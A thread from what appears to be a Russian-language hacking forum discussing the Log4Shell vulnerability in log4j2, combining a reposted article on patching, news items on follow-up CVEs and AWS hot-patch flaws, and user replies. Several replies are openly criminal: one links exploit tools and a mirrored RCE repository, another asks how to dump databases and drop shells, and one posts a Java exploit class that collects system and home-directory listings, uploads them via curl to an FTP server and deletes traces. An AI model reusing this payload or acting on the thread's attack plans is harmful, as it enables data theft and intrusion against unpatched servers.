• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Log4Shell/Leak4J — чрезвычайно опасная уязвимость в log4j2

Отслеживать
pablo

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Последние пару дней (и ночей) я изучал новую (чрезвычайно опасную) уязвимость в log4j2 под названием Log4Shell.

Это касается всех версий log4j-core от 2.0-beta9 до 2.14.1, и это очень серьезная проблема.

Эта уязвимость позволяет злоумышленнику удаленно выполнить код в вашей системе с возможностью получить полный контроль над базовыми серверами.

Log4J долгое время был наиболее часто используемым фреймворком для ведения журналов в среде Java. Он чрезвычайно широко используется, и у этой атаки есть самый широкий триггер, который вы можете себе представить: ей нужно что-то зарегистрировать.

Вредоносный код может быть доставлен МНОГИМИ способами, если они попадают в оператор логирования. Через управляемые пользователем поля, HTTP-запросы, URL-адреса, ВСЕ что угодно.

Атака​

После написания некоторого кода (вредоносный встроенный сервер LDAP) я смог воспроизвести атаку RCE («Удаленное выполнение кода») даже на самый простой проект.

Вот пример: простая конечная точка REST в стартовом проекте Spring Boot с единственной строкой регистрации.

7a56c3c9d3a833dddad8edc0b3255652.png

Как видите, код загружает и выполняет файл классов, распечатывающего сообщение, который я загружаю с вредоносного сервера LDAP (работающего удаленно).

Я не буду делиться вредоносным кодом, он слишком прост в настройке и злоупотреблении. Есть лучшие и более простые способы проверить, уязвимо ли ваше программное обеспечение. Например, с помощью этого инструмента от Trend Micro.

Возможные риски​

Риски этой уязвимости:
  • Потеря ВСЕХ данных
  • Программы-вымогатели
  • Бэкдоры
  • Ботнет
  • Потеря ключей / секретов AWS / Kubernetes
  • И этот список можно продолжать, продолжать и продолжать ...

Исправление​

Вариант 1. Если вы еще этого не сделали: обновите log4j-core до версии> = 2.16.0.

Используйте версию 2.16.0 вместо 2.15.0, это решает проблему более строго.
Код: 
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.16.0</version>
</dependency>
Сделайте то же самое для всех транзитивных зависимостей (!).

Вариант 2. Другой вариант - запустить JRE с помощью.
Код: 
-Dlog4j2.formatMsgNoLookups=true
Но будьте ВНИМАТЕЛЬНЫ: этот флаг был реализован в log4j2, начиная с версии 2.10.0. Если у вас более старая версия, это не сработает.

Вариант 3. удалить JndiLookup.class

Также можно удалить org.apache.logging.log4j.core.lookup.JndiLookup из файлов JAR log4j. Я не рекомендую делать это, если вы хотите пойти по этому пути. Вероятно, проще просто перейти на>=2.16.0.

Не вариант:
  • Более новая версия Java
  • Свойство: com.sun.jndi.ldap.object.trustURLCodebase
Я видел в Интернете предложения, что «новые» версии Java не затронуты, но это не так. Даже с последними версиями Java и с установленным значением trustURLCodebase=false все равно можно украсть данные (например, переменные среды) и десериализовать объекты, уже известные загрузчику классов. Это упрощает запуск других десериализационных RCE.

Это может быть немного сложнее/безопаснее в более новой версии Java, но это определенно НЕ исправление.

Чтобы показать это, я взял последнюю версию Java 8 (1.8.311) и использую десериализацию log4j2 для создания чего-то, что открывает калькулятор на моем MacBook с использованием других классов, известных уязвимой цели:

dcbb180da8199e0d78afbbdfbe2acd56.png

Опять же: загружаемый объект все еще десериализуется в последней версии Java.

Автор оригинала: Roy van Rijn
 
pablo сказал(а):
Последние пару дней (и ночей) я изучал новую (чрезвычайно опасную) уязвимость в log4j2 под названием Log4Shell.

Это касается всех версий log4j-core от 2.0-beta9 до 2.14.1, и это очень серьезная проблема.

Эта уязвимость позволяет злоумышленнику удаленно выполнить код в вашей системе с возможностью получить полный контроль над базовыми серверами.

Log4J долгое время был наиболее часто используемым фреймворком для ведения журналов в среде Java. Он чрезвычайно широко используется, и у этой атаки есть самый широкий триггер, который вы можете себе представить: ей нужно что-то зарегистрировать.

Вредоносный код может быть доставлен МНОГИМИ способами, если они попадают в оператор логирования. Через управляемые пользователем поля, HTTP-запросы, URL-адреса, ВСЕ что угодно.

Атака​

После написания некоторого кода (вредоносный встроенный сервер LDAP) я смог воспроизвести атаку RCE («Удаленное выполнение кода») даже на самый простой проект.

Вот пример: простая конечная точка REST в стартовом проекте Spring Boot с единственной строкой регистрации.

7a56c3c9d3a833dddad8edc0b3255652.png

Как видите, код загружает и выполняет файл классов, распечатывающего сообщение, который я загружаю с вредоносного сервера LDAP (работающего удаленно).

Я не буду делиться вредоносным кодом, он слишком прост в настройке и злоупотреблении. Есть лучшие и более простые способы проверить, уязвимо ли ваше программное обеспечение. Например, с помощью этого инструмента от Trend Micro.

Возможные риски​

Риски этой уязвимости:
  • Потеря ВСЕХ данных
  • Программы-вымогатели
  • Бэкдоры
  • Ботнет
  • Потеря ключей / секретов AWS / Kubernetes
  • И этот список можно продолжать, продолжать и продолжать ...

Исправление​

Вариант 1. Если вы еще этого не сделали: обновите log4j-core до версии> = 2.16.0.

Используйте версию 2.16.0 вместо 2.15.0, это решает проблему более строго.
Код: 
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.16.0</version>
</dependency>
Сделайте то же самое для всех транзитивных зависимостей (!).

Вариант 2. Другой вариант - запустить JRE с помощью.
Код: 
-Dlog4j2.formatMsgNoLookups=true
Но будьте ВНИМАТЕЛЬНЫ: этот флаг был реализован в log4j2, начиная с версии 2.10.0. Если у вас более старая версия, это не сработает.

Вариант 3. удалить JndiLookup.class

Также можно удалить org.apache.logging.log4j.core.lookup.JndiLookup из файлов JAR log4j. Я не рекомендую делать это, если вы хотите пойти по этому пути. Вероятно, проще просто перейти на>=2.16.0.

Не вариант:
  • Более новая версия Java
  • Свойство: com.sun.jndi.ldap.object.trustURLCodebase
Я видел в Интернете предложения, что «новые» версии Java не затронуты, но это не так. Даже с последними версиями Java и с установленным значением trustURLCodebase=false все равно можно украсть данные (например, переменные среды) и десериализовать объекты, уже известные загрузчику классов. Это упрощает запуск других десериализационных RCE.

Это может быть немного сложнее/безопаснее в более новой версии Java, но это определенно НЕ исправление.

Чтобы показать это, я взял последнюю версию Java 8 (1.8.311) и использую десериализацию log4j2 для создания чего-то, что открывает калькулятор на моем MacBook с использованием других классов, известных уязвимой цели:

dcbb180da8199e0d78afbbdfbe2acd56.png

Again: the downloadable object is still deserialized in the latest version of Java.

Original author: Roy van Rijn
could you share the photo you took?
 

pablo​

В сети уже столько инфы по этой баге, что перепост чужой статьи, где есть только общая рекомендация по защите - вот вообще не вариант в этом разделе.
В первой попавшейся ссылке из гугла https://github.com/welk1n/JNDI-Injection-Exploit/ на порядок больше полезного.
"Давай по новой Миша, всё х#йня" (с) у Добкина
 
SectorSay сказал(а):
совершенно раздутая беспонтовая уяза, че ее так раздули из за apache? из за 10 из 10 баллов? кому выгодно ее раздувать? наверное самой apache2, что бы обновились видимо
Кому выгодно вообще cve раздувать, действительно. Наверное потому 0деев и мало в паблик вываливают :D RCE - беспонтовая бага по твоему? o_O Или этот списочек - такое себе )))) ? Далеко пойдешь...
 
SectorSay сказал(а):
то что выливают в паблик это уже не 0-day, причем тут RCE беспонтовая бага? внимательно читай, имеется ввиду этот exploit раздули х#й знает зачем, и дали такую оценку, те компании которые в списке уже 100 пудова проапгрейдились, если вышел патч то это уже не 0-day, а говно паблик, а так как это в паблике то это уже говно, парадокс какой то? ну да, далеко пойдешь? в чем в поиске 0-day? так возьми и начни фаззинг какого либо продукта, найдешь дыру это и есть 0-day, тут нужно идти так далеко? не считаю берешь burp фаззишь, owasp, это имеено в web и еще много инструментов для тех или иных действий, это все к тому что далеко не нужно идти что бы тыкать в разные ссылки или в строки кода что бы попытатся найти что то, главное что бы рядом быть чуть чуть мозговитый тип который разберет это все, разберет именно то что ты натыкал методом тыка и че то нашел, большее кол-во типа 0-day это те же exploitы, проапгрейденные из старых, если знаешь в чем ошибка была в старом продукте думаю профаззив найдешь там же и другую.
a) в момент релиза вываленное в паблик вполне себе может быть 0day.
b) при чем тут вообще эта уязвимость и 0day, что ты так за это вцепился? (оправдать свой высер?) Это было к слову, за "раздувать cve", а не за эту багу конкретно.
с) эта уязвимость как раз таки RCE, и далеко не беспонтовая.
d)."а так как это в паблике то это уже говно" - бред полный. Касательно же этой баги,есть куча непатченых систем, да и те заплатки, что на данный момент - для многих проэктов не панацея. Только перестраивать инфраструктуру, что некоторые делать не будут.
e). .... одна вода, лень что то отвечать даже. Сплошной высер....
 
Высрался ты первый, неуважаемый. Я раскритиковал твой высер. В ответ, поливание говном. Когда поциенту нечем аргументировать свои же слова, он переходит на личности. Дальнейший диалог считаю бессмысленным, хотя после этого:
SectorSay сказал(а):
...так возьми и начни фаззинг какого либо продукта, найдешь дыру это и есть 0-day, тут нужно идти так далеко? не считаю берешь burp фаззишь, owasp, это имеено в web и еще много инструментов для тех или иных действий, это все к тому что далеко не нужно идти что бы тыкать в разные ссылки или в строки кода что бы попытатся найти что то, главное что бы рядом быть чуть чуть мозговитый тип который разберет это все, разберет именно то что ты натыкал методом тыка и че то нашел, большее кол-во типа 0-day это те же exploitы, проапгрейденные из старых, если знаешь в чем ошибка была в старом продукте думаю профаззив найдешь там же и другую.
нужно было вообще не отвечать.Показывает твой уровень знаний в обсуждаемой теме.
 
Ебать, для вас ресерчеры стараются, находят баги, а тут еще срач получается развести. Как гастрабайтеры какие-то и так уже ничего делать не надо, бери в зубы и ебашь. Я порою просто поверить немогу от тупости или эгостичности амеров, которые паблишат PoC-и, хотя может это у них игра такая, чтобы быстрее все попатчились, музыка играет, а стульев все меньше остается. Или халявности китайцев, которые просто пускают на ветер врайтапы/сплоиты.
Хоть кто-то чето нафазил, вот мне интересно? Я готов оплачивать фазз проект с премией за последующий педалинг более-менее стабильного эксплоита. х#й кто более менее че компетентное в ЛС отписал. А кто отписывал, в основном на форумах с профилем в 0 сообщений.
 
Ещё одна уязвимость в Log4j 2. Проблемы в Log4j затрагивают 8% Maven-пакетов​

В библиотеке Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45105), которая в отличие от двух прошлых проблем, отнесена к категории опасных, но не критических. Новая проблема позволяет вызвать отказ в обслуживании и проявляется в виде зацикливания и аварийного завершения при обработке определённых строк. Уязвимость устранена в опубликованном несколько часов назад выпуске Log4j 2.17. Опасность уязвимости сглаживает то, что проблема проявляется только на системах с Java 8.

Уязвимости подвержены системы, использующие при определении формата вывода в лог контекстные запросы (Context Lookup), такие как ${ctx:var}. В версиях Log4j, начиная с 2.0-alpha1 и заканчивая 2.16.0, отсутствовала защита от неконтролируемой рекурсии, что позволяло атакующему через манипуляции со значением, используемым при подстановке, вызвать зацикливание, приводящее к исчерпанию места в стеке и аварийному завершению процесса. В частности, проблема возникала при подстановке таких значений, как "${${::-${::-$${::-j}}}}".

Дополнительно можно отметить, что исследователи из компании Blumira предложили вариант атаки на уязвимые Java-приложения, не принимающие внешние сетевые запросы, например, можно атаковать таким образом системы разработчиков или пользователей Java-приложений. Суть метода в том, что при наличии на системе пользователя уязвимых Java-процессов, принимающих сетевые соединения только с локального хоста (localhost), или обрабатывающих RMI-запросы (Remote Method Invocation, 1099 порт), атака может быть совершена JavaScript-кодом, выполняемым при открытии пользователям в браузере вредоносной страницы. Для организации соединения с сетевым портом Java-приложения при подобной атаке используется API WebSocket, к которому в отличие от HTTP-запросов не применяются ограничения same-origin (WebSocket также может использоваться сканирования сетевых портов на локальном хосте с целью определения имеющихся сетевых обработчиков).

7175396383.jpg

Также интерес представляет опубликованные компанией Google результаты оценки уязвимости библиотек, связанных зависимостями с Log4j. По данным Google, проблема затрагивает 8% от всех пакетов в репозитории Maven Central. В частности, уязвимости оказались подвержены 35863 Java-пакетов, связанных с Log4j прямыми и косвенными зависимостями. При этом Log4j используется в качестве прямой зависимости первого уровня только в 17% случаев, а в 83% охваченных уязвимостью пакетов привязка осуществляется через промежуточные пакеты, зависимые от Log4j, т.е. зависимости второго и более высокого уровня (21% - второго уровня, 12% - третьего, 14% - четвёртого, 26% - пятого, 6% - шестого). Темпы исправления уязвимости пока оставляют желать лучшего, через неделю после выявления уязвимости из 35863 выявленных пакетов проблема устранена пока только в 4620, т.е. в 13%.

Тем временем, Агентство по кибербезопасности и защите инфраструктуры США опубликовало экстренную директиву, обязывающую федеральные агентства произвести определение информационных систем, подверженных уязвимости в Log4j, и до 23 декабря произвести установку обновлений, блокирующих проблему. До 28 декабря организациям предписано отчитаться о проделанной работе. Для упрощения выявления проблемных систем подготовлен список продуктов, в которых подтверждено проявление уязвимости (в списке более 23 тысяч приложений).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
INC. сказал(а):
До 28 декабря организациям предписано отчитаться о проделанной работе. Для упрощения выявления проблемных систем подготовлен список продуктов, в которых подтверждено проявление уязвимости (в списке более 23 тысяч приложений).
Так к тому времени уже все 23к отработают...
Не пойму, где суета на форуме и по пять тем в день с обсуждением, как поднимать миллионы? Там же реально топовые корпорации затронуты. А что про мелкие говорить. Или это просто пшик?
Реально как-то в burp suite раскрутить? Просто только им владею должным образом. Концепция такая, что apache в основном на линуксах стоит и там кобальт не пролить уже, спецы другие нагрузки проливают?

Маякните хоть какую-то инфу, готов вникнуть и вскрыть тему на 24/7. Мне сейчас даже не нужно какие-то другие уязвимости искать, чуть ли не каждый второй объект с log4j. Базку какую-то слить, шелл пролить может.
 
Последнее редактирование:
INC. сказал(а):
Тем временем, Агентство по кибербезопасности и защите инфраструктуры США опубликовало экстренную директиву, обязывающую федеральные агентства произвести определение информационных систем, подверженных уязвимости в Log4j, и до 23 декабря произвести установку обновлений, блокирующих проблему. До 28 декабря организациям предписано отчитаться о проделанной работе. Для упрощения выявления проблемных систем подготовлен список продуктов, в которых подтверждено проявление уязвимости (в списке более 23 тысяч приложений).

I've also been reading some about log4shell, even made a test environment through an external VPS and it's all working fine and dandy.
I was also thinking of making a custom domain scanner script that fires requests on certain ports where vulnerable applications may be
listening. It's just that normal websites don't really work on this because they don't log through this method (they prob don't log anyway).
But perhaps software on the same server listening to an open port may be a point of entry. Thanks for the list of devices, that helps a lot
to get a better understanding! Here are some other links related to this:

Simple test tool with public ldap link:

List of vulnerable devices:
https://www.bleepingcomputer[.]com/...of-vulnerable-products-and-vendor-advisories/

Cisco list:

Cisco Security Advisory: Vulnerabilities in Apache Log4j Library Affecting Cisco Products: December 2021

Critical Vulnerabilities in Apache Log4j Java Logging Library On December 9, 2021, the following critical vulnerability in the Apache Log4j Java logging library affecting all Log4j2 versions earlier than 2.15.0 was disclosed: CVE-2021-44228: Apache Log4j2 JNDI features do not protect against...
tools.cisco.com

Github with handy test:
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce (put it on anonfiles because the link is down)

CVE-2021-44228-Apache-Log4j-Rce-main.zip - AnonFiles

anonfiles.com

Log4shell scan:
github.com

GitHub - fullhunt/log4j-scan: A fully automated, accurate, and extensive scanner for finding log4j RCE CVE-2021-44228

A fully automated, accurate, and extensive scanner for finding log4j RCE CVE-2021-44228 - GitHub - fullhunt/log4j-scan: A fully automated, accurate, and extensive scanner for finding log4j RCE CVE...
github.com github.com

Made this as a test to send a zip with info to a ftp server:
Java: 
public class Exploit {
    static void Exploit(){
        try {
            String os_name = System.getProperty("os.name").toLowerCase();
            String[] cmds = null;
            if(os_name.contains("win")){
                
            }
            else if(os_name.contains("linux")){
                RunCommand(new String[]{"bash","-c", "mkdir output_name"});
                RunCommand(new String[]{"bash","-c", "ls -l -a / > output_name/cm0.txt"});
                RunCommand(new String[]{"bash","-c", "find /home -type f -maxdepth 6 > output_name/cm1.txt"});
                RunCommand(new String[]{"bash","-c", "lscpu > output_name/cm2.txt"});
                RunCommand(new String[]{"bash","-c", "lspci > output_name/cm3.txt"});
                RunCommand(new String[]{"bash","-c", "ip addr > output_name/cm4.txt"});

                java.lang.Runtime.getRuntime().exec(new String[]{"bash","-c", "zip -r output_name.zip output_name"}).waitFor();
                java.lang.Runtime.getRuntime().exec(new String[]{"bash","-c", "curl -u user:pass -T output_name.zip ftp://[ftp_ip]/Downloads/"}).waitFor();
                java.lang.Runtime.getRuntime().exec(new String[]{"bash","-c", "rm -r ./output_name & rm output_name.zip"}).waitFor();
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    static void RunCommand(String[] single_command){
        try {
            java.lang.Runtime.getRuntime().exec(single_command).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exploit();
    }
}
 
Выпустить патч вовсе не означает исправить проблему. Amazon Web Services не даст соврать.

Четыре месяца понадобилось разработчику, чтобы окончательно разобраться с Log4Shell, влияющей на облачные или локальные среды для приложений Java с уязвимой версией библиотеки.

Казалось бы, патче от декабря 2021 года AWS пофиксили проблемы безопасности, чтобы предотвратить возможность выхода из контейнера в среде и получения контроля над хостом, а в некоторых случаях и повышения привилегий и выполнения кода, как с правами root.

Но к досаде разработчика, Palo Alto Networks выявили проблемы безопасности в исправлениях AWS через шесть дней после их выпуска и проинформировали об этом Amazon 21 декабря 2021 года.

В настоящее время уязвимости оценены как риски высокой степени тяжести с оценкой 8,8 из 10 отслеживаются как:

- CVE-2021-3100: повышение привилегий из-за невозможности имитировать разрешения исправленной JVM, что позволяет запускать любой процесс с ненужными высокими привилегиями (базовая оценка CVSS: 8,8);

- CVE-2022-0070: неполное исправление для CVE-2021-3100;

- CVE-2021-3101: Hotdog не соблюдает ограничения устройств, фильтры системных вызовов и ограничения ресурсов на целевой JVM, что может привести к вредоносным модификациям, переопределению политик и исчерпанию ресурсов (базовая оценка CVSS: 8,8);

- CVE-2022-0071: неполное исправление для CVE-2021-3101.

Исследователи Unit 42 обнаружили, что решения Amazon для оперативного исправления Log4Shell оперативно выявляют и исправляют процессы Java, но не обеспечивают их работу с ограничениями, наложенными на контейнер. Потенциально злоумышленник может внедрить непривилегированный двоичный файл процесса с именем «java» и заставить службу исправления выполнить его с повышенными привилегиями.

Кроме того, вредоносный процесс может злоупотреблять своими повышенными привилегиями, чтобы выйти из контейнера и захватить базовый хост. Другая проблема, созданная патчем Amazon, заключалась еще и в том, что хост-процессы обрабатывались одинаково, и все они получали повышенные привилегии в процессе исправления Log4Shell.

Команда безопасности AWS признала уязвимости и попыталась исправить их с помощью нового обновления от 23 декабря 2021 года, но патч оказался малоэффективен. Окончательно решить проблему AWS смогли к 19 апреля, выпустив новые исправления.

А Unit 42, в свою очередь, представила демонстрационное видео эксплойта (PoC), реализующего сценарий выхода контейнера. Детали реализации конечно же скрыты в интересах безопасности.

• Video:

• Source: https://unit42.paloaltonetworks.com/aws-log4shell-hot-patch-vulnerabilities/
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх